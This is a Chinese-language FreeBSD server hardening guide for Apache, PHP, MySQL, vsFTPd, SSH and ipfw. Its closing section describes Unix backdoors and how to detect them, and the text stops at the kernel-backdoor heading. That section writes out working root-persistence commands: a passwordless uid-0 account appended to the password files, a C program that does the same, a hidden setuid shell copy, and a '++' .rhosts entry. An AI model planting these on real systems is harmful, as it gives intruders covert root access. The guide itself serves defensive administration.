Apache的核心设置就是在 httpd.conf 里面,我们安装的Apache的目录是在 /usr/local/apache2/ 下,那么我们的配置文件就是在 /usr/local/apache2/conf/httpd.conf ,如果你是使用ports等安装的,配置文件应该是在/etc或/usr/local/etc目录下。使用ee或者vi打开配置文件:
# ee /usr/local/apache2/conf/httpd.conf
下面我们就要进行比较多的安全设置了,基本的服务、端口、主目录等等设置就不说了,只讲与安全有关的设置。

(1)指定运行Apache服务的用户和组
这是比较重要的,因为权限是继承的,如果运行Apache服务的用户权限太高,那么很可能使得入侵者通过WebShell等就会对系统构成严重威胁。一般我们运行Apache的是nobody用户和nobody组。在httpd.conf的250-275行之间找到User和Group选项,比如我们默认设置如下(去掉了注释信息):
<IfModule !mpm_winnt.c>
<IfModule !mpm_netware.c>
User nobody
Group #-1
</IfModule>
</IfModule>

(2) Apache的日志文件
Apache的日志文件是非常重要的,可以发现apache的运行状况和访问情况,对于判断入侵等有重要帮助。它的默认选项是:
# 错误日志存放目录,默认是存放在apache安装目录的logs下
ErrorLog logs/error_log
# 日志记录的级别,级别有debug, info, notice, warn, error, crit等,默认是“warn”级别
LogLevel warn
# 访问日志记录的格式,每一种格式都有不同的内容,根据你的需要进行定制,以获取最多访问信息
LogFormat "%h %l %u %t "%r" %>s %b "%{Referer}i" "%{User-Agent}i"" combined
LogFormat "%h %l %u %t "%r" %>s %b" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent
# 使用上面格式的那一种,默认是使用common
CustomLog logs/access_log common

文件格式预定义的格式内容:
%a 远程用户IP
%A 本地httpd服务器的ip
%f 传送的文件名
%h 远程主机
%m 请求方式
%l identd给出的远程名
%p 连接的httpd端口号
%P 请求的httpd进程
%t 时间
%T 服务请求时间
你可以定制自己的日志格式,然后通过CustomLog logs/access_log common来进行调用。

注意,日志文件是由运行Apache的用户进行打开的,要注意该文件的安全,防止被黑客改写或者删除。

(3) Apache服务信息显示控制
在配置文件中有个选项是控制是否显示apache版本信息、主机名称、端口、支持的cgi等信息的:
ServerSignature On
默认为On,那么将显示所有信息:
我故意访问一个不存在的文件:http://www.target.com/404.html
那么就会在给的错误提示中显示如下信息:
Apache/2.0.53 (Unix) PHP/4.3.11 Server at target.com Port 80

所有Apache和PHP的信息暴露无遗,这是很不安全的。当然同时还有Off和EMail选项,Off将不显示任何信息,EMail将显示管理员的邮箱地址,建议设为Off或者EMail,这样能够避免泄漏Apache服务器的信息给黑客。

(4) 目录浏览
在httpd.conf中可以设置apache能够对一些没有索引文件的网页目录进行目录浏览:
<Directory />
    Options Indexes FollowSymLinks
    AllowOverride None
</Directory>
这是不合适也不安全的,建议不需要目录浏览:
<Directory />
    Options FollowSymLinks
    AllowOverride None
</Directory>

(5) 用户主页
设置httpd.conf中的:
UserDir public_html
能够使得每个使用系统的用户在自己的主目录下建立 public_html 目录后就能够把自己的网页放进该目录,然后通过:
http://www.target.com/~用户名/网页 就能够显示自己的网页,这是不安全的,而且对于我们服务器来讲,这没有必要,所以我们直接关闭该功能:
UserDir disabled
或者把该内容改名,改成 一个黑客比较不容易猜到的文件名,比如:
UserDir webserver_public_htmlpath
也可以只允许部分用户具有该功能:
UserDir enabled user1 user2 user3

(6) CGI执行目录
如果你的apache要执行一些perl等cgi程序,那么就要设置一下选项:
ScriptAlias /cgi-bin/ "/usr/local/apache/cgi-bin/"
但是这也给了黑客利用一些不安全的cgi程序来进行破坏,所以如果你不需要cgi的话,建议关闭该选项:
#ScriptAlias /cgi-bin/ "/usr/local/apache/cgi-bin/"

(7) 控制PHP脚本只能访问指定目录
在httpd.conf添加如下内容:
php_admin_value open_basedir /usr/www
后面的路径是你需要PHP脚本能够访问的目录,如果PHP脚本想要访问其他目录将出项错误提示。

(8) 目录访问控制 (未完)
这项内容最复杂,同时涉及的东西也比较多,我只能简单说一下,不清楚请参考其他文章。
比如下面的内容:
<Directory />
    Options FollowSymLinks
    AllowOverride None
</Directory>
就是允许访问每一个目录,里面设置的是允许执行的动作,一般包含的动作有:Options、AllowOverride、Order、Allow、Deny。
Options是只对指定目录及其子目录能够执行的操作,Indexes、Includes、FollowSymLinks、ExecCGI、MultiViews、None、All等操作。
AllowOverride是指定目录访问的权限,当然也可以通过 AccessFileName文件指定的 .htaccess 来控制。它的操作有:None、All、Options、FileInfo、AuthConfit、Limit等。
Order、Allow、Deny三个指令必须配合来控制目录访问权限。Order指定检查次序的规则,比如Order Allow, Deny,表示先按Allow检查,如果不匹配再按Deny进行检查。Order Deny, Allow ,表示先按Deny规则检查,如果不满足条件,再按Allow进行检查。

控制目录访问权限的文件
默认在Unix平台下能够使用 .htaccess 来对目录权限进行规则定义,但是这是不安全的,建议关闭,默认的选项:
AccessFileName .htaccess
建议设成:
#AccessFileName .htaccess
全部目录权限定义使用httpd.conf中的定义,不使用 .htaccess。

(9) 用户访问认证
这个技术非常重要,能够控制一些非法用户访问本内容。假设我们的网站: http://www.target.com/admin 是我们的后台管理目录,我不允许一些非法用户进行访问,那么我就必须设定对该目录访问是需要验证的。
先在httpd.conf中加入要进行访问认证的目录:
<Directory "/usr/www/admin">
authtype basic
authname "Private"
authuserfile /usr/local/apache/bin/admin.dat
require user login_user
Options Indexes FollowSymlinks MultiViews
AllowOverride None
</Directory>
上面我们就设置了我们的 /usr/www/admin目录是必须进行认证才能访问的,接着我们设置访问密码:
# /usr/local/apahche/bin/htpasswd -c /usr/local/apache/bin/admin.dat login_name
New password: *****
Re-type new password: *****
Adding password for user login_name

那么下次任何用户访问http://www.target.com/admin目录的时候就需要输入用户名login_name和你设置的密码。

2. PHP安全设置

PHP本身再老版本有一些问题,比如在 php4.3.10和php5.0.3以前有一些比较严重的bug,所以推荐使用新版。另外,目前闹的轰轰烈烈的SQL Injection也是在PHP上有很多利用方式,所以要保证安全,PHP代码编写是一方面,PHP的配置更是非常关键。
我们php手手工安装的,php的默认配置文件在 /usr/local/apache2/conf/php.ini,我们最主要就是要配置php.ini中的内容,让我们执行php能够更安全。
整个PHP中的安全设置主要是为了防止phpshell和SQL Injection的攻击,一下我们慢慢探讨。我们先使用任何编辑工具打开/etc/local/apache2/conf/php.ini,如果你是采用其他方式安装,配置文件可能不在该目录。

(1) 打开php的安全模式
php的安全模式是个非常重要的内嵌的安全机制,能够控制一些php中的函数,比如system(),同时把很多文件操作函数进行了权限控制,也不允许对某些关键文件的文件,比如/etc/passwd,但是默认的php.ini是没有打开安全模式的,我们把它打开:
safe_mode = on

(2) 用户组安全
当safe_mode打开时,safe_mode_gid被关闭,那么php脚本能够对文件进行访问,而且相同组的用户也能够对文件进行访问。
建议设置为:
safe_mode_gid = off
如果不进行设置,可能我们无法对我们服务器网站目录下的文件进行操作了,比如我们需要对文件进行操作的时候。

(3) 安全模式下执行程序主目录
如果安全模式打开了,但是却是要执行某些程序的时候,可以指定要执行程序的主目录:
safe_mode_exec_dir = /usr/bin
一般情况下是不需要执行什么程序的,所以推荐不要执行系统程序目录,可以指向一个目录,然后把需要执行的程序拷贝过去,比如:
safe_mode_exec_dir = /tmp/cmd
但是,我更推荐不要执行任何程序,那么就可以指向我们网页目录:
safe_mode_exec_dir = /usr/www

(4) 安全模式下包含文件
如果要在安全模式下包含某些公共文件,那么就修改一下选项:
safe_mode_include_dir = /usr/www/include/
其实一般php脚本中包含文件都是在程序自己已经写好了,这个可以根据具体需要设置。

(5) 控制php脚本能访问的目录
使用open_basedir选项能够控制PHP脚本只能访问指定的目录,这样能够避免PHP脚本访问/etc/passwd等文件,一定程度上限制了phpshell的危害,我们一般可以设置为只能访问网站目录:
open_basedir = /usr/www

(6) 关闭危险函数
如果打开了安全模式,那么函数禁止是可以不需要的,但是我们为了安全还是考虑进去。比如,我们觉得不希望执行包括system()等在那的能够执行命令的php函数,或者能够查看php信息的phpinfo()等函数,那么我们就可以禁止它们:
disable_functions = system,passthru,exec,shell_exec,popen,phpinfo
如果你要禁止任何文件和目录的操作,那么可以关闭很多文件操作
disable_functions = chdir,chroot,dir,getcwd,opendir,readdir,scandir,fopen,unlink,delete,copy,mkdir,rmdir,rename,file,
file_get_contents,fputs,fwrite,chgrp,chmod,chown
以上只是列了部分不叫常用的文件处理函数,你也可以把上面执行命令函数和这个函数结合,就能够抵制大部分的phpshell了。

(7) 关闭PHP版本信息在http头中的泄漏
我们为了防止黑客获取服务器中php版本的信息,可以关闭该信息斜路在http头中:
expose_php = Off
比如黑客在 telnet www.target.com 80 的时候,那么将无法看到PHP的信息。

(8) 关闭注册全局变量
在PHP中提交的变量,包括使用POST或者GET提交的变量,都将自动注册为全局变量,能够直接访问,这是对服务器非常不安全的,所以我们不能让它注册为全局变量,就把注册全局变量选项关闭:
register_globals = Off
当然,如果这样设置了,那么获取对应变量的时候就要采用合理方式,比如获取GET提交的变量var,那么就要用$_GET[‘var’]来进行获取,这个php程序员要注意。

(9) 打开magic_quotes_gpc来防止SQL注入
SQL注入是非常危险的问题,小则网站后台被入侵,重则整个服务器沦陷,所以一定要小心。php.ini中有一个设置:
magic_quotes_gpc = Off
这个默认是关闭的,如果它打开后将自动把用户提交对sql的查询进行转换,比如把 ‘ 转为 ‘等,这对防止sql注射有重大作用。所以我们推荐设置为:
magic_quotes_gpc = On

(10) 错误信息控制
一般php在没有连接到数据库或者其他情况下会有提示错误,一般错误信息中会包含php脚本当前的路径信息或者查询的SQL语句等信息,这类信息提供给黑客后,是不安全的,所以一般服务器建议禁止错误提示:
display_errors = Off
如果你却是是要显示错误信息,一定要设置显示错误的级别,比如只显示警告以上的信息:
error_reporting = E_WARNING & E_ERROR
当然,我还是建议关闭错误提示。

(11) 错误日志
建议在关闭display_errors后能够把错误信息记录下来,便于查找服务器运行的原因:
log_errors = On
同时也要设置错误日志存放的目录,建议根apache的日志存在一起:
error_log = /usr/local/apache2/logs/php_error.log
注意:给文件必须允许apache用户的和组具有写的权限。

3. Mysql的安全设置

我们把Mysql安装在 /usr/local/mysql目录下,我们必须建立一个用户名为mysql,组为mysql的用户来运行我们的mysql,同时我们把它的配置文件拷贝到 /etc目录下:
# cp suport-files/my-medium.cnf /etc/my.cnf
chown root:sys /etc/my.cnf
chmod 644 /etc/my.cnf

使用用户mysql来启动我们的mysql:
# /usr/local/mysql/bin/mysqld_safe -user=mysql &

(1) 修改root用户的的口令
缺省安装的mysql是没有密码的,所以我们要修改,以防万一。下面采用三种方式来修改root的口令。

*  用mysqladmin命令来改root用户口令
# mysqladmin -uroot password test
这样,MySQL数据库root用户的口令就被改成test了。(test只是举例,我们实际使用的口令一定不能使用这种易猜的弱口令)

*  用set password修改口令:
mysql> set password for root@localhost=password(‘test’);
这时root用户的口令就被改成test了。

*  直接修改user表的root用户口令   
mysql> use mysql;
mysql> update user set password=password(‘test’) where user=’root’;
mysql> flush privileges;

这样,MySQL数据库root用户的口令也被改成test了。其中最后一句命令flush privileges的意思是强制刷新内存授权表,否则用的还是缓冲中的口令,这时非法用户还可以用root用户及空口令登陆,直到重启MySQL服务器。

(2) 删除默认的数据库和用户
我们的数据库是在本地,并且也只需要本地的php脚本对mysql进行读取,所以很多用户不需要。mysql初始化后会自动生成空用户和test库,这会对数据库构成威胁,我们全部删除。
我们使用mysql客户端程序连接到本地的mysql服务器后出现如下提示:
mysql> drop database test;
mysql> use mysql;
mysql> delete from db;
mysql> delete from user where not(host="localhost" and user="root");
mysql> flush privileges;

(3) 改变默认mysql管理员的名称
这个工作是可以选择的,根据个人习惯,因为默认的mysql的管理员名称是root,所以如果能够修改的话,能够防止一些脚本小子对系统的穷举。我们可以直接修改数据库,把root用户改为"admin"
mysql> use mysql;
mysql> update user set user="admin" where user="root";
mysql> flush privileges;

(4) 提高本地安全性
提高本地安全性,主要是防止mysql对本地文件的存取,比如黑客通过mysql把/etc/passwd获取了,会对系统构成威胁。mysql对本地文件的存取是通过SQL语句来实现,主要是通过Load DATA LOCAL INFILE来实现,我们能够通过禁用该功能来防止黑客通过SQL注射等获取系统核心文件。
禁用该功能必须在 my.cnf 的[mysqld]部分加上一个参数:
set-variable=local-infile=0

(5) 禁止远程连接mysql
因为我们的mysql只需要本地的php脚本进行连接,所以我们无需开socket进行监听,那么我们完全可以关闭监听的功能。
有两个方法实现:
* 配置my.cnf文件,在[mysqld]部分添加 skip-networking 参数
* mysqld服务器中参数中添加 –skip-networking 启动参数来使mysql不监听任何TCP/IP连接,增加安全性。如果要进行mysql的管理的话,可以在服务器本地安装一个phpMyadmin来进行管理。

(6) 控制数据库访问权限
对于使用php脚本来进行交互,最好建立一个用户只针对某个库有 update、select、delete、insert、drop table、create table等权限,这样就很好避免了数据库用户名和密码被黑客查看后最小损失。
比如下面我们创建一个数据库为db1,同时建立一个用户test1能够访问该数据库。
mysql> create database db1;
mysql> grant select,insert,update,delete,create,drop privileges on db1.* to test1@localhost identified by ‘admindb’;
以上SQL是创建一个数据库db1,同时增加了一个test1用户,口令是admindb,但是它只能从本地连接mysql,对db1库有select,insert,update,delete,create,drop操作权限。

(7) 限制一般用户浏览其他用户数据库
如果有多个数据库,每个数据库有一个用户,那么必须限制用户浏览其他数据库内容,可以在启动MySQL服务器时加–skip-show-database 启动参数就能够达到目的。

(8) 忘记mysql密码的解决办法
如果不慎忘记了MySQL的root密码,我们可以在启动MySQL服务器时加上参数–skip-grant-tables来跳过授权表的验证 (./safe_mysqld –skip-grant-tables &),这样我们就可以直接登陆MySQL服务器,然后再修改root用户的口令,重启MySQL就可以用新口令登陆了。

(9) 数据库文件的安全
我们默认的mysql是安装在/usr/local/mysql目录下的,那么对应的数据库文件就是在/usr/local/mysql/var目录下,那么我们要保证该目录不能让未经授权的用户访问后把数据库打包拷贝走了,所以要限制对该目录的访问。
我们修改该目录的所属用户和组是mysql,同时改变访问权限:
# chown -R mysql.mysql /usr/local/mysql/var
# chmod -R go-rwx /usr/local/mysql/var

(10) 删除历史记录
执行以上的命令会被shell记录在历史文件里,比如bash会写入用户目录的.bash_history文件,如果这些文件不慎被读,那么数据库的密码就会泄漏。用户登陆数据库后执行的SQL命令也会被MySQL记录在用户目录的.mysql_history文件里。如果数据库用户用SQL语句修改了数据库密码,也会因.mysql_history文件而泄漏。所以我们在shell登陆及备份的时候不要在-p后直接加密码,而是在提示后再输入数据库密码。
另外这两个文件我们也应该不让它记录我们的操作,以防万一。
# rm .bash_history .mysql_history
# ln -s /dev/null .bash_history
# ln -s /dev/null .mysql_history

(11) 其他
另外还可以考虑使用chroot等方式来控制mysql的运行目录,更好的控制权限,具体可以参考相关文章。

4. vsFTPd安全设置

vsFTPd是一款非常著名的ftp daemon程序,目前包括Redhat.com在内很多大公司都在使用,它是一款非常安全的程序,因为它的名字就叫:Very Secure FTP Daemon (非常安全的FTP服务器)。
vsftpd设置选项比较多,涉及方方面面,我们下面主要是针对安全方面进行设置。
目前我们的需求就是使用系统帐户同时也作为是我们的FTP帐户来进行我们文件的管理,目前假设我只需要一个帐户来更新我的网站,并且我不希望该帐户能够登陆我们的系统,比如我们的网站的目录是在/usr/www下面,那么我们新建一个用户ftp,它的主目录是/usr/www,并且它的shell是/usr/sbin/nologin,就是没有shell,防止该用户通过ssh等登陆到系统。

下面在进行系统详尽的设置,主要就是针对vsftpd的配置文件vsftpd.conf文件的配置。

(1) 禁止匿名用户访问, 我们不需要什么匿名用户,直接禁止掉:
anonymous_enable=NO

(2) 允许本地用户登陆,因为我们需要使用ftp用户来对我们网站进行管理:
local_enable=YES

(3) 只允许系统中的ftp用户或者某些指定的用户访问ftp,因为系统中帐户众多,不可能让谁都访问。
打开用户文件列表功能:
userlist_enable=YES
只允许用户文件列表中的用户访问ftp:
userlist_deny=NO
用户名文件列表路径:
userlist_file=/etc/vsftpd.user_list

然后在/etc下建立文件 vsftpd.user_list 文件,一行一个,把用户ftp加进去,同时也可以加上你允许访问的系统帐户名。

(4) 禁止某些用户登陆ftp:
pam_service_name=vsftpd
指出VSFTPD进行PAM认证时所使用的PAM配置文件名,默认值是vsftpd,默认PAM配置文件是/etc/pam.d/vsftpd。

/etc/vsftpd.ftpusers
VSFTPD禁止列在此文件中的用户登录FTP服务器,用户名是一行一个。这个机制是在/etc/pam.d/vsftpd中默认设置的。

这个功能和(3)里的功能有点类似,他们俩能结合使用,那样就最好了。

(5) 把本地用户锁定在自己的主目录,防止转到其他目录,比如把/etc/passwd给下载了:
chroot_local_users=NO
chroot_list_enable=YES
chroot_list_file=/etc/vsftpd.chroot_list
然后在/etc下建立vsftpd.chroot_list文件,里面把我们要限制的本地帐户加进去,一行一个,我们加上ftp,防止它登陆到系统。

(6) 隐藏文件真实的所有用户和组信息,防止黑客拿下ftp后查看更多系统用户信息:
hide_ids=YES

(7) 取消ls -R命令,节省资源,因为使用该命令,在文件列表很多的时候将浪费大量系统资源:
ls_recurse_enable=NO

(8) 上传文件的默认权限,设置为022:
local_umask=022
如果要覆盖删除等,还要打开:
write_enable=YES

(9) ftp的banner信息,为了防止黑客获取更多服务器的信息,设置该项:
ftpd_banner=banner string
把后面的banner string设为你需要的banner提示信息,为了安全,建议不要暴露关于vsFTPd的任何信息。
另外,如果你的信息比较多的话,可以设置为提示信息是读取一个文件中的信息:
banner_file=/directory/vsftpd_banner_file

(10) 打开日志功能:
xferlog_enable=YES
同时设置日志的目录:
xferlog_file=/var/log/vsftpd.log
启用详细的日志记录格式:
xferlog_enable=YES

(11) 如果打开虚用户功能等,那么建议关闭本地用户登陆:
local_enable=NO

vsFTPd还有很多安全设置,毕竟人家的名字就是:Very Secure FTP Daemon,反正它的溢出漏洞什么的是很少的,如果要更安全,建议按照自己的需要设置vsftpd,设置的好,它绝对是最安全的。

5. SSH安全设置

SSH是一个基于SSL的安全连接远程管理的服务程序,主要出现就是为了解决telnet、rlogin、rsh等程序在程序交互过程中存在明文传输易被监听的问题而产生的,目前基本上是推荐使用ssh来代替telnet、rlogin、rsh等远程管理服务。
ssh能够直接在windows平台下通过Secure SSH Client等客户端工具进行连接管理,目前最流行的服务器端就是OpenSSH程序,目前最新版本是OpenSSH4.0版,详细可以参考www.openssh.com网站。
OpenSSH在FreeBSD下已经集成安装了,FreeBSD5.3下的OpenSSH版本是3.8.1,建议ports升级到4.0。

主要的安全配置文件是/etc/ssh/sshd_config文件,我们编辑该文件。

(1) 使用protocol 2代替protocol 1,SSH2更加安全,可以防止攻击者通过修改携带的版本banner来劫持(hijacking)启动会话进程并降低到protocol 1。注释掉protocol 2,1 改用下面语句代替:
protocol 2

(2) 合理设置最大连接数量, 防止DOS攻击

  MaxStartups 5:50:10

(3)关闭X11forwording ,防止会话劫持

  X11Forwarding no

(4)建议不使用静态密码,而使用DSA 或RSA KEY,修改如下内容可以关闭使用密码认证:

  PasswordAuthentication no

(5)可以限制某个组或光是单个用户访问shell

  AllowGroups wheel
或者
  AllowUsers heiyeluren

(6) 限制root用户登陆,主要是为了防止暴力破解

    PermitRootLogin no

(7) 不允许口令为空的用户登陆
   
    PermitEmptyPasswords no

(8)使用TCP wrappers来限制一些访问,修改/etc/hosts.allow文件,注释掉"ALL : ALL : allow",增加如下内容:

  sshd:localhost:allow
  sshd:friendlcomputer:allow
  sshd:all : deny

  #相关命令:
  #chsh -s /sbin/nologin user

四、防火墙的安装和设置

FreeBSD自带有一个基于包过滤的防火墙–ipfw,虽然功能没有专业防火墙那么强大,但是应付一个Web站点的安全还是足够的,所以我们决定选用该防火墙来保护我们的Web服务器。

1. 安装ipfw

IPFW 的主要部分是在内核中运行的, 因此会需要在FreeBSD内核配置文件中添加部分选项。(注意,如果你没有安装FreeBSD核心源代码,是无法进入以下目录的,所以运行之前一定要先安装内核源代码)我们先进入内核配置文件:
# cd /sys/i386/conf
# cp GENERIC ./kernel_fw

打开内核配置文件:
# ee ./kernel_fw

添加四个选项,不需要后面的注释信息:
options IPFIREWALL # 将包过滤部分的代码编译进内核。
options IPFIREWALL_VERBOSE
# 启用通过syslogd记录的日志。如果没有指定这个选项,即使您在过滤规则中指定记录包, 也不会真的记录它们
options IPFIREWALL_VERBOSE_LIMIT=10
# 限制通过 syslogd(8) 记录的每项包规则的记录条数。在恶劣的环境中如果您想记录防火墙的活动, 而又不想由于 syslog 洪水一般的记录而导致拒绝服务攻击, 那么这个选项将会很有用。
options IPFIREWALL_DEFAULT_TO_ACCEPT
# 这将把默认的规则动作从 “deny" 改为 “allow"。这可以防止在没有配置防火墙之前使用启用过 IPFIREWALL 支持的内核重启时把自己锁在外面。 另外, 如果您经常使用 ipfw(8) 来解决一些问题时它也非常有用。 尽管如此,在使用时应该小心, 因为这将使防火墙敞开, 并改变它的行为。

编译内核:
# /usr/sbin/config kernel_fw
# cd ../compile/kernel_fw (注意你的版本,如果是低于5.0的版本用../../compile/kernel_fw)
# make depend
# make
# make install

重启系统。注意,我们没有选择options IPFIREWALL_DEFAULT_TO_ACCEPT该选项,就是说默认系统启动后是打开防火墙的,并且防火墙默认是不允许任何连接的(deny from any to any),所以一定要在本地操作,否则你将被“锁在门外”,如果你选择了该选项则可以使用ssh等连接不受影响,不过这相对不安全。

2. 配置ipfw

如果配置普通情况下的规则,使用命令配置的模式:
ipfw的配置命令:ipfw [-N] 命令 [编号] 动作 [log(日志)] 协议 地址 [其它选项]
例如:
# ipfw add allow tcp from any to 10.10.10.1 80 #允许外界访问我的web服务
# ipfw add allow tcp from any to 10.10.10.1 21 #允许外面访问我的ftp服务
# ipfw add allow tcp from any to 10.10.10.1 22 #允许外界访问我的ssh服务

如果使用规则包的形式,那么查看下面内容。
系统启动后,我们还要配置rc.conf文件来运行我们的防火墙:
# ee /etc/rc.conf

加入如下内容:
gateway_enable="YES" # 启动网关
firewall_enable="YES" # 激活firewall防火墙
firewall_script="/etc/rc.firewall" # firewall防火墙的默认脚本
firewall_type="/etc/ipfw.conf" # firewall自定义脚本
firewall_quiet="NO" # 起用脚本时,是否显示规则信息。现在为“NO”假如你的防火墙脚本已经定型,那么就可以把这里设置成“YES”了。
firewall_logging_enable="YES" # 启用firewall的log记录。

设置完成后我们再编辑/etc/syslog.conf文件:
# ee /etc/syslog.conf
加入以下行:
!ipfw
*.*                 /var/log/ipfw.log

现在到了最重要的编辑规则包了:
# ee /etc/ipfw.conf
我们添加一下规则:(注意 10.10.10.1是我们服务器的IP)

######### TCP ##########
add 00001 deny log ip from any to any ipopt rr
add 00002 deny log ip from any to any ipopt ts
add 00003 deny log ip from any to any ipopt ssrr
add 00004 deny log ip from any to any ipopt lsrr
add 00005 deny tcp from any to any in tcpflags syn,fin
# 这5行是过滤各种扫描包

add 10001 allow tcp from any to 10.10.10.1 80 in  # 向整个Internet开放http服务。
add 10002 allow tcp from any to 10.10.10.1 21 in  # 向整个Internet开放ftp服务。
add 10000 allow tcp from 1.2.3.4 to 10.10.10.1 22 in
# 向Internet的xx.xx.xx.xx这个IP开放SSH服务。也就是只信任这个IP的SSH登陆。
# 如果你登陆服务器的IP不固定,那么就要设为:add 10000 allow tcp from any to 10.10.10.1 22 in

add 19997 check-state
add 19998 allow tcp from any to any out keep-state setup
add 19999 allow tcp from any to any out #这三个组合起来是允许内部网络访问出去,如果想服务器自己不和Internet进行tcp连接出去,可以把19997和19998去掉。(不影响Internet对服务器的访问)

########## UDP ##########
add 20001 allow udp from any 53 to 10.10.10.1 # 允许其他DNS服务器的信息进入该服务器,因为自己要进行DNS解析嘛~
add 29999 allow udp from any to any out # 允许自己的UDP包往外发送。

########## ICMP #########
add 30000 allow icmp from any to any icmptypes 3
add 30001 allow icmp from any to any icmptypes 4
add 30002 allow icmp from any to any icmptypes 8 out
add 30003 allow icmp from any to any icmptypes 0 in
add 30004 allow icmp from any to any icmptypes 11 in
#允许自己ping别人的服务器。也允许内部网络用router命令进行路由跟踪。

五、Unix/Linux上的后门技术和防范

对黑客来讲,入侵一个系统只是万里长征的开始,最主要的是长期占有一个肉鸡(傀儡机),所以,后门技术往往非常重要。对于我们来讲,总是处于被动的地位,百密一疏,总有没有做到位的地方,谁都不能保证自己的系统是绝对安全的,所以不能避免我们可能会被入侵。黑客入侵后肯定会留后门,当然,除了那些高手,境界非常高,入侵只是为了测试或者技术挑战,对于一般黑客来讲,入侵之后留个后门是很重要的,我们要防范,当然就要了解常用的后门技术,下面就简单的讲将在Unix/Linux系统中比较常见的后门技术。

1. 帐号后门

最普通和原始的后门技术,一般就是在系统中添加一个管理员帐户。
# echo "heiyeluren:*:0:0::/root:/bin/sh" >> /etc/passwd
# echo "heiyeluren::0:0::0:0::/root:/bin/sh" >> /etc/shadow
给系统增加一个 uid和gid都为0(root)的帐号,无口令。
FreeBSD的密码是存储在 /etc/master.passwd里面的,那么后面的命令就应该改成:
# echo "heiyeluren:::::::::" >> /etc/master.passwd
也可以使用程序来实现:
/* Add super user */
#include "stdio.h"
#define PASSWD_PATH "/etc/passwd"
#define SHADOW_PATH "/etc/master.passwd"
main()
{
FILE *fd;
fd = fopen(PASSWD_PATH, "a+");
fprintf(fd, "heiyeluren:*:0:0::/root:/bin/shn");
fclose(fd);
fd = fopen(SHADOW_PATH, "a+");
fprintf(fd, "heiyeluren::0:0::0:0::/root:/bin/shn");
fclose(fd);
}
# gcc -o adduser adduser.c
# ./adduser
这种方法比较傻,一般比较容易发现,特别是系统帐户不多的时候。也有的用户名起的比较迷惑人,比如起个r00t的用户名,uid和gid都是0,这样如果不注意,可能就会被蒙混过关了。

* 防范方法:
这种方法虽然比较容易发现,但是我们还是要防范,要多注意观察系统的帐户情况,本来我们系统帐户就不多,检查起来比较方便,另外也要注意那些比较少使用的帐户是不是被更改过,比如默认的帐户有bind,它的shell是 /usr/sbin/nologin,就是不能登陆的,但是黑客入侵后把它改了,比如改为/bin/csh,那么对方就能登陆了,但是你确不知道。所以最好办法是把/etc/passwd另外备份一份,不定期的检查,同时把/etc/passwd和/etc/master.passwd设为只有root才能查看。

2. shell后门

这个比较常用,也比较流行。一般就是把root执行的shell程序通过setuid的形式把shell程序拷贝到其他能够执行的地方,然后只要用小权限用户执行该shell就能够直接获取root权限。
比如:
# cp /bin/sh /tmp/.backdoor
# chown root:root /tmp/.backdoor
# chmod +s /tmp/.backdoor
这样只是把sh复制了,如果你喜欢其他shell,比如ksh、csh也可以,具体你看各个不同的操作系统而定。你就可以把那个加了s标记的shell程序放到任何目录,最好是深一点,不容易被人发现的地方,比如/usr/local/share/man之类的目录,然后你使用小权限用户登陆后执行该shell就可以了,比如我们上面复制的shell,我们只要用小权限用户登陆后执行:
$ /tmp/.backdoor
#
就可以了,当然,如何获得小权限用户,你可以使用暴力破解一些帐户,或者自己创建一个小权限的帐户。

* 防范方法:
首先给各个主要目录加上我们上面说的文件指纹校验,知道某个目录下有什么文件,如果多出了可疑文件可以仔细检查。还有使用find命令来查找有没有危险的root suid程序:
find / -type f (-perm -4000 -o -perm -2000 ) -print

3. Crontab服务后门

crontab命令就相当于windows下的at命令,定期执行某些任务。对黑客来讲,比如定期建立一个帐户,然后过多久就删除,这样管理员永远看不到系统中有后门,这样是非常保险的。。

* 防范方法:
cron的服务默认是存储在 /var/spool/crontab/root目录下,定期检查cron服务,看是否有异常的任务在执行,或者如果你不使用cron的话,直接关闭掉它。

4. rhosts后门

Rhosts文件常常被黑客利用来制作后门,如果系统开了rlogin、rexec等r的服务,因为象rlogin这样的服务是基于rhosts文件里的主机名使用简单的认证方法,所以黑客只要将.rhosts文件设置成"++",那么就允许任何人从任何地方使用该用户名,无须口令登陆513端口的rlogin服务就行。而且r之类的服务没有日志能力,不容易被发现。
实现方法:
# echo "++" > /usr/heiyeluren/.rhosts
# rlogin -l heiyeluren localhost
这样就不需要任何密码,直接输入用户名heiyeluren就登陆到了系统。

* 防范办法:
不要使用rlogin等服务,同时也不推荐使用telnet等服务,因为telnetd等守护进程溢出漏洞一堆,而且在数据传输过程中是没有加密的,很容易被嗅探,建议使用ssh等经过安全加密的服务来替代。

5. Login后门

login程序通常用来对telnet来的用户进行口令验证. 入侵者获取login的原代码并修改使它在比较输入口令与存储口令时先检查后门口令. 如果用户敲入后门口令,它将忽视管理员设置的口令让你长驱直入。

* 防范方法:
一般针对这类后门,一般都是使用"string"命令搜索login程序中是否有中是否有密码等字符串来进行检查。如果密码经过加密,那么就对login文件进行指纹记录和MD5值的记录,觉得异常时进行检测。

6. Bind后门

就是通过常用的网络连接协议 TCP/UDP/ICMP 来建立连接的后门,这个在Windows下可是轰轰烈烈。
比较普遍的有TCP协议的后门都是写一段程序开一个指定的端口进行监听,然后从客户端进行连接后登陆系统。也有黑客为了隐蔽使用UDP协议来连接。icmp后门也常见,一般是。有时候可能bind后门跟服务后门结合,黑客通过自己写的bind后门来替换inetd中的服务。

* 防范方法:
经常使用netstat命令检查有没有非法的端口打开,最好直接用防火墙屏蔽除了正常访问的端口之外的端口。对于ping后门的话,直接在防火墙上禁止ping服务器

7. 服务后门

一般是替换或者添加服务来实现后门。比如在 /etc/inetd.conf 中添加或者替换某个服务来运行自己的后门程序,或者在某些服务中加入自己的后门代码。如果是替换服务的话,该服务必须不被使用,而且不容易发现。如果是自己添加的服务,那么必须在/etc/services中设置对应的服务和端口才能使用。

* 防范方法:
经常检查服务,最好备份 /etc/inetd.conf 、/etc/services等文件,同时在FreeBSD下也要时常检查 /usr/loca/etc/rc.d 下面的脚本是否是合法的并且是否那些脚本里面有没有启动非法程序。如果是在服务程序中添加自己的代码,那么就要对文件的指纹进行校验,比如md5值看是否匹配。

8. rootkit后门

rootkit后门一般是替换管理员使用的工具,比如ls、ps、netstat、who等常用文件,把那些程序替换成被黑客加了特殊代码的程序,那样就能达到控制的效果。而且现在已经有很多现成能下载使用的rootkit。

* 防范方法:
按照我们前面的方法,给每个文件建立系统指纹档案和md5校验值,如果觉得不对劲的时候查看文件指纹是否匹配,有没有别修改过,就知道是否着了rootkit的道。

9. 内核后门

